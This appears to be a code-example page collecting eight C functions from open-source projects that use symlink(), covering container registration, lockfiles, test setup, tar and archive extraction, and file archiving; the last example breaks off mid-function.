コード例 #1
0
ファイル: vz.c プロジェクト: OpenVZ/libvzctl
/** Register Container
 * @param path		Container private data root
 * @param param		struct vzctl_reg_param
 * @param flags		registration flags
 * @return		veid or -1 in case error
 */
int vzctl2_env_register(const char *path, struct vzctl_reg_param *param, int flags)
{
	char buf[PATH_MAX];
	char veconf[STR_SIZE];
	char path_r[PATH_MAX];
	struct stat st;
	int ret, err;
	struct vzctl_env_handle *h;
	FILE *fp;
	char ve_host[STR_SIZE];
	char host[STR_SIZE];
	int owner_check_res;
	int on_pcs, on_shared;
	int ha_resource_added = 0;
	int ha_enable = 0;
	const char *data, *name;
	ctid_t ctid = {};
	ctid_t uuid = {};

	/* preserve compatibility
	 * VZ_REG_SKIP_HA_CLUSTER is alias for VZ_REG_SKIP_CLUSTER
	 */
	if (flags & VZ_REG_SKIP_HA_CLUSTER)
		flags |= VZ_REG_SKIP_CLUSTER;

	if (stat(path, &st) != 0)
		return vzctl_err(-1, errno, "Unable to stat %s", path);

	if (realpath(path, path_r) == NULL)
		return vzctl_err(-1, errno, "Failed to get realpath %s", path);

	ret = vzctl2_env_layout_version(path_r);
	if (ret == -1) {
		return -1;
	} else if (ret < VZCTL_LAYOUT_4)
		return vzctl_err(-1, 0, "Warning: Container in old data format,"
				" registration skipped.");

	snprintf(veconf, sizeof(veconf), "%s/" VZCTL_VE_CONF, path_r);
	if (stat(veconf, &st)) {
		logger(-1, 0, "Error: Broken Container, no %s file found", veconf);
		return -1;
	}

	h = vzctl2_env_open_conf(param->ctid, veconf, 0, &err);
	if (h == NULL)
		return -1;

	data = param->uuid;
	/* get UUID from config if not specified */
	if (data == NULL)
		vzctl2_env_get_param(h, "UUID", &data);

	if (get_cid_uuid_pair(param->ctid, data, ctid, uuid))
		goto err;

	owner_check_res = vzctl_check_owner_quiet(
			path_r, host, sizeof(host), ve_host, sizeof(ve_host));
	on_pcs = (is_pcs(path_r) == 1);
	on_shared = (is_shared_fs(path_r) == 1);

        if (vzctl2_env_get_param(h, "HA_ENABLE", &data) == 0 && data != NULL)
                ha_enable = yesno2id(data);

	if (on_pcs && ha_enable != VZCTL_PARAM_OFF &&
			check_external_disk(path_r, h->env_param->disk) &&
			shaman_is_configured())
	{
		logger(-1, 0, "Containers with external disks cannot be"
				" registered in a High Availability cluster");
		goto err;
	}

	if (!(flags & VZ_REG_FORCE)) {
		/* ignore renew option for pstorage (https://jira.sw.ru/browse/PSBM-16819) */
		if (on_pcs)
			flags &= ~VZ_REG_RENEW;

		if (!(flags & VZ_REG_RENEW) && owner_check_res) {
			if (owner_check_res == VZCTL_E_ENV_MANAGE_DISABLED) {
				logger(-1, 0, "Owner check failed on the server %s;"
					" Container is registered for %s", host, ve_host);
				if (on_pcs)
					logger(0, 0,
					"Failed to register the Container/virtual machine. "
					"You can force the registration, but this will revoke "
					"all access to the Container from the original server.");
			}
			goto err;
		}

		if (validate_eid(h, &st, ctid))
			goto err;
	} else if ((owner_check_res == VZCTL_E_ENV_MANAGE_DISABLED) && on_shared) {
		if (on_pcs && !(flags & VZ_REG_SKIP_CLUSTER)) {
			/* [pstorage:] if CT already registered on other node, revoke leases */
			/* before files editing (https://jira.sw.ru/browse/PSBM-16819) */
			char *argv[] = { "/usr/bin/pstorage", "revoke", "-R", (char *)path_r, NULL };
			/* it is irreversible operation */
			if (vzctl2_wrap_exec_script(argv, NULL, 0))
				goto err;
		}
		if (!(flags & VZ_REG_SKIP_CLUSTER) && (ha_enable != VZCTL_PARAM_OFF)) {
			/* remove resource from HA cluster
			 * TODO : execute 'del-everywhere' and 'add' by one command
			 *	 (https://jira.sw.ru/browse/PSBM-17374
			 */
			shaman_del_everywhere(ctid);
		}
	}
	if (!(flags & VZ_REG_SKIP_CLUSTER) && on_shared && (ha_enable != VZCTL_PARAM_OFF)) {
		/* TODO : execute 'del-everywhere' and 'add' by one command
		 *		(https://jira.sw.ru/browse/PSBM-17374)
		 * Right now ask HA cluster to register CT as resource
		 * and will do it before filesystem operations
		 */
		if (shaman_add_resource(ctid, h->conf, path_r)) {
			logger(-1, 0, "Error: Failed to register the Container %s on HA cluster",
					ctid);
			goto err;
		}
		ha_resource_added = 1;
	}

	if (!(flags & VZ_REG_SKIP_OWNER)) {
		snprintf(buf, sizeof(buf), "%s/" VZCTL_VE_OWNER, path_r);
		if ((fp = fopen(buf, "w")) == NULL) {
			logger(-1, errno, "Unable to register the Container; failed to create"
					" the file %s", buf);
			goto err;
		}
		if (get_serverid(buf, sizeof(buf)) == 0)
			fprintf(fp, "%s", buf);
		fclose(fp);
	}

	ret = renew_VE_PRIVATE(h, path, ctid);
	if (ret)
		goto err;

	/* restore CT name */
	name = param->name ?: h->env_param->name->name;
	if (name != NULL && *name != '\0') {
		ctid_t t;
		char x[PATH_MAX];
		const char *new_name = name;
		const char *veid = NULL;

		vzctl2_env_get_param(h, "VEID", &veid);

		if (vzctl2_get_envid_by_name(name, t) == 0 &&
				veid != NULL && CMP_CTID(t, veid))
		{
			logger(-1, 0, "Name %s is in use by CT %s", name, t);
			new_name = gen_uniq_name(name, x, sizeof(x));
		}

		vzctl2_env_set_param(h, "NAME", new_name);
		if (h->env_param->name->name) {
			struct stat st_n;

			snprintf(buf, sizeof(buf), ENV_NAME_DIR "%s",
					h->env_param->name->name);
			if (stat(buf, &st_n) == 0 && st.st_dev == st_n.st_dev)
				unlink(buf);
		}

		logger(0, 0, "Assign the name: %s", new_name);
		snprintf(buf, sizeof(buf), ENV_NAME_DIR "%s", new_name);
		unlink(buf);
		if (symlink(veconf, buf)) {
			logger(-1, errno, "Unable to create the link %s", buf);
			goto err;
		}
	}

	vzctl2_env_set_param(h, "VEID", ctid);
	/* Update UUID */
	vzctl2_env_set_param(h, "UUID", uuid);
	if (flags & (VZ_REG_RENEW_NETIF_IFNAME|VZ_REG_RENEW_NETIF_MAC)) {
		if (h->env_param->veth &&
				!list_empty(&h->env_param->veth->dev_list)) {
			h->env_param->veth->delall = 1;
			data = veth2str(h->env_param, h->env_param->veth, flags);
			if (data != NULL)
				vzctl2_env_set_param(h, "NETIF", data);
		}
	}

	ret = vzctl2_env_save_conf(h, veconf);
	if (ret)
		goto err;

	/* create registration */
	vzctl2_get_env_conf_path(ctid, buf, sizeof(buf));
	unlink(buf);
	if (symlink(veconf, buf)) {
		logger(-1, errno, "Failed to create the symlink %s", buf);
		goto err;
	}

	vzctl2_env_close(h);
	vzctl2_send_state_evt(ctid, VZCTL_ENV_REGISTERED);

	logger(0, 0, "Container %s was successfully registered", ctid);
	return 0;

err:
	if (ha_resource_added)
		shaman_del_resource(ctid);
	vzctl2_env_close(h);
	logger(-1, 0, "Container registration failed: %s",
			vzctl2_get_last_error());

	return -1;
}
コード例 #2
0
ファイル: rumor.c プロジェクト: BlastTNG/flight
int main(int argc, char *argv[]) {
  char dirfilename[1024];
  int i_ch;
  char fieldlist[255][255];
  DIRFILE *df_out;
  int fp_lnc;
  int n_read = 0;
  struct fifoStruct fs;
  
  int i_frame = 0;
  
  uint8_t c_in;
  int16_t s_in;
  uint16_t u_in;
  int32_t S_in;
  uint32_t U_in;
  double x_in;
  
  time_t t;

  fs.i_in = fs.i_out = 0;

  if (argc!=2) Usage();
  if (argv[1][0]=='-') Usage();
      
  strncpy(hostname, argv[1], 250);
  
  sprintf(dirfilename, "%s/%lu.l", RAWDIR, time(NULL));
  df_out = gd_open(dirfilename, GD_RDWR | GD_UNENCODED | GD_CREAT | GD_TRUNC);
  /* add fields to dirfile */
  for (i_ch =0; slowDLList[i_ch].name[0] != '\0'; i_ch++) {
    convertToUpper(slowDLList[i_ch].name, fieldlist[i_ch]);
    if (slowDLList[i_ch].encode == SDL_SCALE) {
      gd_add_raw(df_out, fieldlist[i_ch], GD_FLOAT64, 1, 0);
    } else {
      switch (slowDLList[i_ch].type) {
        case 'c':
          gd_add_raw(df_out, fieldlist[i_ch], GD_UINT8, 1, 0);
          break;
        case 's':
          gd_add_raw(df_out, fieldlist[i_ch], GD_INT16, 1, 0);
          break;
        case 'u':
          gd_add_raw(df_out, fieldlist[i_ch], GD_UINT16, 1, 0);
          break;
        case 'S':
          gd_add_raw(df_out, fieldlist[i_ch], GD_INT32, 1, 0);
          break;
        case 'U':
          gd_add_raw(df_out, fieldlist[i_ch], GD_UINT32, 1, 0);
          break;
        default:
          break; // shouldn't be possible
      }
    }      
  }
  gd_flush(df_out, NULL);
  
  unlink(LNKFILE);
  if (symlink(dirfilename, LNKFILE)<0) {
    fprintf(stderr, "could not create link from `%s' to `%s'",
            dirfilename, LNKFILE);
            exit(0);
  }

  strncpy(hostname, argv[1], 250);
  
  fp_lnc = party_connect(hostname, PORT);
  
  while (1) {
    do {
      if (nFifo(&fs)<4) {
        n_read += BlockingRead(4, &fs, fp_lnc, hostname, PORT);
      }
      peek(&fs, (char *)&U_in, 4);
      advance(&fs, 1);
    } while (U_in != SLOWDLSYNCWORD);
    
    advance(&fs, 4-1);
    
    for (i_ch =0; slowDLList[i_ch].name[0] != '\0'; i_ch++) {
      // read the word
      switch (slowDLList[i_ch].type) {
        case 'c':
          if (nFifo(&fs)<1) {
            n_read += BlockingRead(1, &fs, fp_lnc, hostname, PORT);
          }
          pop(&fs, (char *)&c_in, 1);
          break;
        case 's':
          if (nFifo(&fs)<2) {
            n_read += BlockingRead(2, &fs, fp_lnc, hostname, PORT);
          }
          pop(&fs, (char *)&s_in, 2);
          break;
        case 'u':
          if (nFifo(&fs)<2) {
            n_read += BlockingRead(2, &fs, fp_lnc, hostname, PORT);
          }
          pop(&fs, (char *)&u_in, 2);
          break;
        case 'S':
          if (nFifo(&fs)<4) {
            n_read += BlockingRead(4, &fs, fp_lnc, hostname, PORT);
          }
          pop(&fs, (char *)&S_in, 4);
          break;
        case 'U':
          if (nFifo(&fs)<4) {
            n_read += BlockingRead(4, &fs, fp_lnc, hostname, PORT);
          }
          pop(&fs, (char *)&U_in, 4);
          break;
        default:
          break;
      }
      // write the word
      if (slowDLList[i_ch].encode == SDL_SCALE) {
        switch (slowDLList[i_ch].type) {
          case 'c':
            x_in = (double)c_in / (double)0xff;
            break;
          case 'u':
            x_in = (double)u_in / (double)0xffff;
            break;
          case 'U':
            x_in = (double)U_in / (double)0xffff;
            break;
          default: // not allowed
            break;
        }
        x_in = slowDLList[i_ch].min + x_in * (slowDLList[i_ch].max - slowDLList[i_ch].min);
        gd_putdata(df_out, fieldlist[i_ch], i_frame, 0, 1, 0, GD_FLOAT64, &x_in);
      } else {
        switch (slowDLList[i_ch].type) {
          case 'c':
            gd_putdata(df_out, fieldlist[i_ch], i_frame, 0, 1, 0, GD_UINT8, &c_in);
            break;
          case 's':
            gd_putdata(df_out, fieldlist[i_ch], i_frame, 0, 1, 0, GD_INT16, &s_in);
            break;
          case 'u':
            gd_putdata(df_out, fieldlist[i_ch], i_frame, 0, 1, 0, GD_UINT16, &u_in);
            break;
          case 'S':
            gd_putdata(df_out, fieldlist[i_ch], i_frame, 0, 1, 0, GD_INT32, &S_in);
            break;
          case 'U':
            gd_putdata(df_out, fieldlist[i_ch], i_frame, 0, 1, 0, GD_UINT32, &U_in);
            break;
          default: // shouldn't happen
            break;
        }
      }
    } // next i_ch;
    t = time(NULL);
    printf("%s: frame %4d - %s", argv[0], i_frame, ctime(&t)); 
    i_frame++;
  }
  return 0;
}
コード例 #3
0
ファイル: lockfile.c プロジェクト: jjuran/ccache
/*
 * This function acquires a lockfile for the given path. Returns true if the
 * lock was acquired, otherwise false. If the lock has been considered stale
 * for the number of microseconds specified by staleness_limit, the function
 * will (if possible) break the lock and then try to acquire it again. The
 * staleness limit should be reasonably larger than the longest time the lock
 * can be expected to be held, and the updates of the locked path should
 * probably be made with an atomic rename(2) to avoid corruption in the rare
 * case that the lock is broken by another process.
 */
bool
lockfile_acquire(const char *path, unsigned staleness_limit)
{
	char *lockfile = format("%s.lock", path);
	char *my_content = NULL, *content = NULL, *initial_content = NULL;
	const char *hostname = get_hostname();
	bool acquired = false;
#ifdef _WIN32
	const size_t bufsize = 1024;
	int fd, len;
#else
	int ret;
#endif
	unsigned to_sleep = 1000, slept = 0; /* Microseconds. */

	while (1) {
		free(my_content);
		my_content = format("%s:%d:%d", hostname, (int)getpid(), (int)time(NULL));

#ifdef _WIN32
		fd = open(lockfile, O_WRONLY|O_CREAT|O_EXCL|O_BINARY, 0666);
		if (fd == -1) {
			cc_log("lockfile_acquire: open WRONLY %s: %s", lockfile, strerror(errno));
			if (errno == ENOENT) {
				/* Directory doesn't exist? */
				if (create_parent_dirs(lockfile) == 0) {
					/* OK. Retry. */
					continue;
				}
			}
			if (errno != EEXIST) {
				/* Directory doesn't exist or isn't writable? */
				goto out;
			}
			/* Someone else has the lock. */
			fd = open(lockfile, O_RDONLY|O_BINARY);
			if (fd == -1) {
				if (errno == ENOENT) {
					/*
					 * The file was removed after the open() call above, so retry
					 * acquiring it.
					 */
					continue;
				} else {
					cc_log("lockfile_acquire: open RDONLY %s: %s",
					       lockfile, strerror(errno));
					goto out;
				}
			}
			free(content);
			content = x_malloc(bufsize);
			if ((len = read(fd, content, bufsize - 1)) == -1) {
				cc_log("lockfile_acquire: read %s: %s", lockfile, strerror(errno));
				close(fd);
				goto out;
			}
			close(fd);
			content[len] = '\0';
		} else {
			/* We got the lock. */
			if (write(fd, my_content, strlen(my_content)) == -1) {
				cc_log("lockfile_acquire: write %s: %s", lockfile, strerror(errno));
				close(fd);
				x_unlink(lockfile);
				goto out;
			}
			close(fd);
			acquired = true;
			goto out;
		}
#else
		ret = symlink(my_content, lockfile);
		if (ret == 0) {
			/* We got the lock. */
			acquired = true;
			goto out;
		}
		cc_log("lockfile_acquire: symlink %s: %s", lockfile, strerror(errno));
		if (errno == ENOENT) {
			/* Directory doesn't exist? */
			if (create_parent_dirs(lockfile) == 0) {
				/* OK. Retry. */
				continue;
			}
		}
		if (errno != EEXIST) {
			/* Directory doesn't exist or isn't writable? */
			goto out;
		}
		free(content);
		content = x_readlink(lockfile);
		if (!content) {
			if (errno == ENOENT) {
				/*
				 * The symlink was removed after the symlink() call above, so retry
				 * acquiring it.
				 */
				continue;
			} else {
				cc_log("lockfile_acquire: readlink %s: %s", lockfile, strerror(errno));
				goto out;
			}
		}
#endif

		if (str_eq(content, my_content)) {
			/* Lost NFS reply? */
			cc_log("lockfile_acquire: symlink %s failed but we got the lock anyway",
			       lockfile);
			acquired = true;
			goto out;
		}
		/*
		 * A possible improvement here would be to check if the process holding the
		 * lock is still alive and break the lock early if it isn't.
		 */
		cc_log("lockfile_acquire: lock info for %s: %s", lockfile, content);
		if (!initial_content) {
			initial_content = x_strdup(content);
		}
		if (slept > staleness_limit) {
			if (str_eq(content, initial_content)) {
				/* The lock seems to be stale -- break it. */
				cc_log("lockfile_acquire: breaking %s", lockfile);
				if (lockfile_acquire(lockfile, staleness_limit)) {
					lockfile_release(path);
					lockfile_release(lockfile);
					to_sleep = 1000;
					slept = 0;
					continue;
				}
			}
			cc_log("lockfile_acquire: gave up acquiring %s", lockfile);
			goto out;
		}
		cc_log("lockfile_acquire: failed to acquire %s; sleeping %u microseconds",
		       lockfile, to_sleep);
		usleep(to_sleep);
		slept += to_sleep;
		to_sleep *= 2;
	}

out:
	if (acquired) {
		cc_log("Acquired lock %s", lockfile);
	} else {
		cc_log("Failed to acquire lock %s", lockfile);
	}
	free(lockfile);
	free(my_content);
	free(initial_content);
	free(content);
	return acquired;
}
コード例 #4
0
ファイル: tests.c プロジェクト: kernc/gimp
static void
gimp_init_icon_theme_for_testing (void)
{
    const gchar *top_srcdir = g_getenv ("GIMP_TESTING_ABS_TOP_SRCDIR");
    gchar       *icon_root;
    gchar       *link_name;
    gchar       *link_target;
    gint         i;

    static const gchar *sizes[] = { "12x12", "16x16", "18x18", "20x20", "22x22",
                                    "24x24", "32x32", "48x48", "64x64"
                                  };

    if (! top_srcdir)
    {
        g_printerr ("*\n"
                    "*  The env var GIMP_TESTING_ABS_TOP_SRCDIR is not set,\n"
                    "*  you are probably running in a debugger.\n"
                    "*  Set it manually, e.g.:\n"
                    "*\n"
                    "*    set env GIMP_TESTING_ABS_TOP_SRCDIR=%s/source/gimp\n"
                    "*\n",
                    g_get_home_dir ());
        return;
    }

    icon_root = g_dir_make_tmp ("gimp-test-icon-theme-XXXXXX", NULL);
    if (! icon_root)
        return;

    for (i = 0; i < G_N_ELEMENTS (sizes); i++)
    {
        gchar *icon_dir;

        icon_dir = g_build_filename (icon_root, "hicolor", sizes[i], NULL);
        g_mkdir_with_parents (icon_dir, 0700);

        link_name   = g_build_filename (icon_dir, "apps", NULL);
        link_target = g_build_filename (top_srcdir, "icons", sizes[i] + 3, NULL);

        symlink (link_target, link_name);

        g_free (link_target);
        g_free (link_name);

        g_free (icon_dir);
    }

    link_name   = g_build_filename (icon_root, "hicolor", "index.theme", NULL);
    link_target = g_build_filename (top_srcdir, "icons", "index.theme", NULL);

    symlink (link_target, link_name);

    g_free (link_target);
    g_free (link_name);

    gtk_icon_theme_prepend_search_path (gtk_icon_theme_get_default (),
                                        icon_root);

    g_free (icon_root);
}
コード例 #5
0
ファイル: cmd_tar.c プロジェクト: ptal/sash2
/*
 * Examine the header block that was just read.
 * This can specify the information for another file, or it can mark
 * the end of the tar file.
 */
static void
readHeader(const TarHeader * hp, int fileCount, const char ** fileTable)
{
	int		mode;
	int		uid;
	int		gid;
	long		size;
	time_t		mtime;
	const char *	name;
	int		cc;
	BOOL		hardLink;
	BOOL		softLink;

	/*
	 * If the block is completely empty, then this is the end of the
	 * archive file.  If the name is null, then just skip this header.
	 */
	name = hp->name;

	if (*name == '\0')
	{
		for (cc = TAR_BLOCK_SIZE; cc > 0; cc--)
		{
			if (*name++)
				return;
		}

		eofFlag = TRUE;

		return;
	}

	/*
	 * There is another file in the archive to examine.
	 * Extract the encoded information and check it.
	 */
	mode = getOctal(hp->mode, sizeof(hp->mode));
	uid = getOctal(hp->uid, sizeof(hp->uid));
	gid = getOctal(hp->gid, sizeof(hp->gid));
	size = getOctal(hp->size, sizeof(hp->size));
	mtime = getOctal(hp->mtime, sizeof(hp->mtime));

	if ((mode < 0) || (uid < 0) || (gid < 0) || (size < 0))
	{
		if (!badHeader)
			fprintf(stderr, "Bad tar header, skipping\n");

		badHeader = TRUE;

		return;
	}

	badHeader = FALSE;
	skipFileFlag = FALSE;

	/*
	 * Check for the file modes.
	 */
	hardLink = ((hp->typeFlag == TAR_TYPE_HARD_LINK) ||
		(hp->typeFlag == TAR_TYPE_HARD_LINK - '0'));

	softLink = ((hp->typeFlag == TAR_TYPE_SOFT_LINK) ||
		(hp->typeFlag == TAR_TYPE_SOFT_LINK - '0'));

	/*
	 * Check for a directory or a regular file.
	 */
	if (name[strlen(name) - 1] == '/')
		mode |= S_IFDIR;
	else if ((mode & S_IFMT) == 0)
		mode |= S_IFREG;

	/*
	 * Check for absolute paths in the file.
	 * If we find any, then warn the user and make them relative.
	 */
	if (*name == '/')
	{
		while (*name == '/')
			name++;

		if (!warnedRoot)
		{
			fprintf(stderr,
			"Absolute path detected, removing leading slashes\n");
		}

		warnedRoot = TRUE;
	}

	/*
	 * See if we want this file to be restored.
	 * If not, then set up to skip it.
	 */
	if (!wantFileName(name, fileCount, fileTable))
	{
		if (!hardLink && !softLink && S_ISREG(mode))
		{
			inHeader = (size == 0);
			dataCc = size;
		}

		skipFileFlag = TRUE;

		return;
	}

	/*
	 * This file is to be handled.
	 * If we aren't extracting then just list information about the file.
	 */
	if (!extractFlag)
	{
		if (verboseFlag)
		{
			printf("%s %3d/%-d %9ld %s %s", modeString(mode),
				uid, gid, size, timeString(mtime), name);
		}
		else
			printf("%s", name);

		if (hardLink)
			printf(" (link to \"%s\")", hp->linkName);
		else if (softLink)
			printf(" (symlink to \"%s\")", hp->linkName);
		else if (S_ISREG(mode))
		{
			inHeader = (size == 0);
			dataCc = size;
		}

		printf("\n");

		return;
	}

	/*
	 * We really want to extract the file.
	 */
	if (verboseFlag)
		printf("x %s\n", name);

	if (hardLink)
	{
		if (link(hp->linkName, name) < 0)
			perror(name);

		return;
	}

	if (softLink)
	{
#ifdef	S_ISLNK
		if (symlink(hp->linkName, name) < 0)
			perror(name);
#else
		fprintf(stderr, "Cannot create symbolic links\n");
#endif
		return;
	}

	/*
	 * If the file is a directory, then just create the path.
	 */
	if (S_ISDIR(mode))
	{
		createPath(name, mode);

		return;
	}

	/*
	 * There is a file to write.
	 * First create the path to it if necessary with a default permission.
	 */
	createPath(name, 0777);

	inHeader = (size == 0);
	dataCc = size;

	/*
	 * Start the output file.
	 */
	outFd = open(name, O_WRONLY | O_CREAT | O_TRUNC, mode);

	if (outFd < 0)
	{
		perror(name);
		skipFileFlag = TRUE;

		return;
	}

	/*
	 * If the file is empty, then that's all we need to do.
	 */
	if (size == 0)
	{
		(void) close(outFd);
		outFd = -1;
	}
}
コード例 #6
0
ファイル: lock.c プロジェクト: ActionLuzifer/mc
int
lock_file (const vfs_path_t * fname_vpath)
{
    char *lockfname = NULL, *newlock, *msg, *lock;
    struct stat statbuf;
    struct lock_s *lockinfo;
    gboolean is_local;
    gboolean symlink_ok = FALSE;
    const char *elpath;

    if (fname_vpath == NULL)
        return 0;

    elpath = vfs_path_get_by_index (fname_vpath, 0)->path;
    /* Just to be sure (and don't lock new file) */
    if (*elpath == '\0')
        return 0;

    /* Locking on VFS is not supported */
    is_local = vfs_file_is_local (fname_vpath);
    if (is_local)
    {
        /* Check if already locked */
        lockfname = lock_build_symlink_name (fname_vpath);
    }

    if (!is_local || lockfname == NULL)
        return 0;

    if (lstat (lockfname, &statbuf) == 0)
    {
        lock = lock_get_info (lockfname);
        if (lock == NULL)
            goto ret;
        lockinfo = lock_extract_info (lock);

        /* Check if locking process alive, ask user if required */
        if (lockinfo->pid == 0 || !(kill (lockinfo->pid, 0) == -1 && errno == ESRCH))
        {
            msg =
                g_strdup_printf (_
                                 ("File \"%s\" is already being edited.\n"
                                  "User: %s\nProcess ID: %d"), x_basename (lockfname) + 2,
                                 lockinfo->who, (int) lockinfo->pid);
            /* TODO: Implement "Abort" - needs to rewind undo stack */
            switch (query_dialog
                    (_("File locked"), msg, D_NORMAL, 2, _("&Grab lock"), _("&Ignore lock")))
            {
            case 0:
                break;
            case 1:
            case -1:
            default:           /* Esc Esc */
                g_free (msg);
                goto ret;
            }
            g_free (msg);
        }
        unlink (lockfname);
    }

    /* Create lock symlink */
    newlock = lock_build_name ();
    symlink_ok = (symlink (newlock, lockfname) != -1);
    g_free (newlock);

  ret:
    g_free (lockfname);
    return symlink_ok ? 1 : 0;
}
コード例 #7
0
/* Archive the specified file.
 * This includes several steps:
 *	1. Generate the id
 *	2. Copy file to id if non-existent
 *	3. Link back to creating task
 *
@return 0 if successfully archived, 1 if failed at any point.
 */
static int makeflow_archive_file(struct archive_instance *a, struct batch_file *f, char *job_file_archive_path) {
	/* Generate the file archive id (content based) if does not exist. */
	char * id;
	if(path_is_dir(f->inner_name) == 1){
		f->hash = batch_file_generate_id_dir(f->inner_name);
				id = xxstrdup(f->hash);
	}
	else{
		id = batch_file_generate_id(f);
	}

	struct stat buf;
	int rv = 0;

	char * file_archive_dir = string_format("%s/files/%.2s", a->dir, id);
	char * file_archive_path = string_format("%s/%s", file_archive_dir, id);
	char * job_file_archive_dir = NULL;

	/* Create the archive path with 2 character prefix. */
	if (!create_dir(file_archive_dir, 0777) && errno != EEXIST){
		debug(D_ERROR|D_MAKEFLOW_HOOK, "could not create file archiving directory %s: %d %s\n", 
			file_archive_dir, errno, strerror(errno));
		rv = 1;
		goto FAIL;
	}

	/* Check if file is already archived */
	if(stat(file_archive_path, &buf) >= 0) {
		debug(D_MAKEFLOW_HOOK, "file %s already archived at %s", f->outer_name, file_archive_path);
	/* File did not already exist, store in general file area */
	} else {
		if(path_is_dir(f->outer_name) != 1){
			if (!copy_file_to_file(f->outer_name, file_archive_path)){
				debug(D_ERROR|D_MAKEFLOW_HOOK, "could not archive output file %s at %s: %d %s\n",
					f->outer_name, file_archive_path, errno, strerror(errno));
				rv = 1;
				goto FAIL;
			}
		}
		else{
			debug(D_MAKEFLOW,"COPYING %s to the archive",f->outer_name);
			if(copy_dir(f->outer_name,file_archive_path) != 0){
				debug(D_ERROR|D_MAKEFLOW_HOOK, "could not archive output file %s at %s: %d %s\n",
										f->outer_name, file_archive_path, errno, strerror(errno));
								rv = 1;
								goto FAIL;
			}
		}
	}

	/* Create the directory structure for job_file_archive. */
	job_file_archive_dir = xxstrdup(job_file_archive_path);
	path_dirname(job_file_archive_path, job_file_archive_dir);
	if (!create_dir(job_file_archive_dir, 0777) && errno != EEXIST){
		debug(D_ERROR|D_MAKEFLOW_HOOK, "could not create job file directory %s: %d %s\n", 
			file_archive_dir, errno, strerror(errno));
		rv = 1;
		goto FAIL;
	}

	if(a->s3){
		int result = 1;
		// Check to see if file already exists in the s3 bucket
		if(a->s3_check){
			if(!in_s3_archive(a,id)){
				result = makeflow_archive_s3_file(a,id,file_archive_path);
			}
		}
		else
			result = makeflow_archive_s3_file(a,id,file_archive_path);
		/* Copy file to the s3 bucket*/
		if(!result){
			debug(D_ERROR|D_MAKEFLOW_HOOK, "could not copy file %s to s3 bucket: %d %s\n", id, errno, strerror(errno));
			rv = 1;
			goto FAIL;
		}
	}
	free(file_archive_path);
	file_archive_path = string_format("../../../../files/%.2s/%s", id, id);

	/* Create a symlink to task that used/created this file. */
	int symlink_failure = symlink(file_archive_path, job_file_archive_path);
	if (symlink_failure && errno != EEXIST) {
		debug(D_ERROR|D_MAKEFLOW_HOOK, "could not create symlink %s pointing to %s: %d %s\n", 
			job_file_archive_path, file_archive_path, errno, strerror(errno));
		rv = 1;
		goto FAIL;
	}

FAIL:
	free(id);
	free(file_archive_dir);
	free(file_archive_path);
	free(job_file_archive_dir);
	return rv;
}
コード例 #8
0
void FAST_FUNC data_extract_all(archive_handle_t *archive_handle)
{
	file_header_t *file_header = archive_handle->file_header;
	int dst_fd;
	int res;

	if (archive_handle->ah_flags & ARCHIVE_CREATE_LEADING_DIRS) {
		char *slash = strrchr(file_header->name, '/');
		if (slash) {
			*slash = '\0';
			bb_make_directory(file_header->name, -1, FILEUTILS_RECUR);
			*slash = '/';
		}
	}

	if (archive_handle->ah_flags & ARCHIVE_UNLINK_OLD) {
		/* Remove the entry if it exists */
		if ((!S_ISDIR(file_header->mode))
		 && (unlink(file_header->name) == -1)
		 && (errno != ENOENT)
		) {
			bb_perror_msg_and_die("can't remove old file %s",
					file_header->name);
		}
	}
	else if (archive_handle->ah_flags & ARCHIVE_EXTRACT_NEWER) {
		/* Remove the existing entry if its older than the extracted entry */
		struct stat existing_sb;
		if (lstat(file_header->name, &existing_sb) == -1) {
			if (errno != ENOENT) {
				bb_perror_msg_and_die("can't stat old file");
			}
		}
		else if (existing_sb.st_mtime >= file_header->mtime) {
			if (!(archive_handle->ah_flags & ARCHIVE_EXTRACT_QUIET)) {
				bb_error_msg("%s not created: newer or "
					"same age file exists", file_header->name);
			}
			data_skip(archive_handle);
			return;
		}
		else if ((unlink(file_header->name) == -1) && (errno != EISDIR)) {
			bb_perror_msg_and_die("can't remove old file %s",
					file_header->name);
		}
	}

	/* Handle hard links separately
	 * We identified hard links as regular files of size 0 with a symlink */
	if (S_ISREG(file_header->mode)
	 && file_header->link_target
	 && file_header->size == 0
	) {
		/* hard link */
		res = link(file_header->link_target, file_header->name);
		if ((res == -1) && !(archive_handle->ah_flags & ARCHIVE_EXTRACT_QUIET)) {
			bb_perror_msg("can't create %slink "
					"from %s to %s", "hard",
					file_header->name,
					file_header->link_target);
		}
	} else {
		/* Create the filesystem entry */
		switch (file_header->mode & S_IFMT) {
		case S_IFREG: {
			/* Regular file */
			int flags = O_WRONLY | O_CREAT | O_EXCL;
			if (archive_handle->ah_flags & ARCHIVE_O_TRUNC)
				flags = O_WRONLY | O_CREAT | O_TRUNC;
			dst_fd = xopen3(file_header->name,
				flags,
				file_header->mode
				);
			bb_copyfd_exact_size(archive_handle->src_fd, dst_fd, file_header->size);
			close(dst_fd);
			break;
		}
		case S_IFDIR:
			res = mkdir(file_header->name, file_header->mode);
			if ((res == -1)
			 && (errno != EISDIR) /* btw, Linux doesn't return this */
			 && (errno != EEXIST)
			 && !(archive_handle->ah_flags & ARCHIVE_EXTRACT_QUIET)
			) {
				bb_perror_msg("can't make dir %s", file_header->name);
			}
			break;
		case S_IFLNK:
			/* Symlink */
			res = symlink(file_header->link_target, file_header->name);
			if ((res == -1)
			 && !(archive_handle->ah_flags & ARCHIVE_EXTRACT_QUIET)
			) {
				bb_perror_msg("can't create %slink "
					"from %s to %s", "sym",
					file_header->name,
					file_header->link_target);
			}
			break;
		case S_IFSOCK:
		case S_IFBLK:
		case S_IFCHR:
		case S_IFIFO:
			res = mknod(file_header->name, file_header->mode, file_header->device);
			if ((res == -1)
			 && !(archive_handle->ah_flags & ARCHIVE_EXTRACT_QUIET)
			) {
				bb_perror_msg("can't create node %s", file_header->name);
			}
			break;
		default:
			bb_error_msg_and_die("unrecognized file type");
		}
	}

	if (!(archive_handle->ah_flags & ARCHIVE_DONT_RESTORE_OWNER)) {
#if ENABLE_FEATURE_TAR_UNAME_GNAME
		if (!(archive_handle->ah_flags & ARCHIVE_NUMERIC_OWNER)) {
			uid_t uid = file_header->uid;
			gid_t gid = file_header->gid;

			if (file_header->tar__uname) {
//TODO: cache last name/id pair?
				struct passwd *pwd = getpwnam(file_header->tar__uname);
				if (pwd) uid = pwd->pw_uid;
			}
			if (file_header->tar__gname) {
				struct group *grp = getgrnam(file_header->tar__gname);
				if (grp) gid = grp->gr_gid;
			}
			/* GNU tar 1.15.1 uses chown, not lchown */
			chown(file_header->name, uid, gid);
		} else
#endif
